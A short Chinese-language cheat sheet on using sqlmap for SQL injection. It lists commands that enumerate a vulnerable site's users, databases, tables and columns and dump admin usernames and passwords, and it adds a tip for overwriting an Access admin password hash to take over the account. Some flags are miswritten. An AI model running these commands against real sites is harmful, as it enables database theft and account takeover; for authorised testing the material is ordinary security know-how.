SQLmap数据库注入攻击

指令：

sqlmap -u url    扫描注入点扫描目标主机。（url前提是存在漏洞）

sqlmap -u url  --users 获取到用户名

sqlmap -u url  --dbs 爆出该sqlserver中所有数据库名称

sqlmap -u url  --current -db  爆出当前web使用的数据库

sqlmap -u url  --current -user web数据库使用的账户

sqlmap -u url  -D （指定数据库名称） --tables  列出数据库中的表

sqlmap -u url  -D 数据库名称 -T（指定要列出字段的表） --columns （指定列出字段）

sqlmap -u url -D** -T** -C“指定要爆的字段” --dump（导出）

<--start 1 --stop 10 --dump 第1到第10行>

sqlmap -u url  --dump -tables 探测数据库和表的信息

sqlmap -u url  --dump -T admin -C admin，password 进行暴库，获得用户名和密码

sqlmap：盲推理SQL注入，UNION查询SQL注入，堆查询，基于时间的SQL盲注。
***acess中 爆破后，admin加密为bfpms 将bfpms填到password字段中，就可以使用admin
http://blog.csdn.net/zgyulongfei/article/details/41017493/（sqlmap简单使用说明）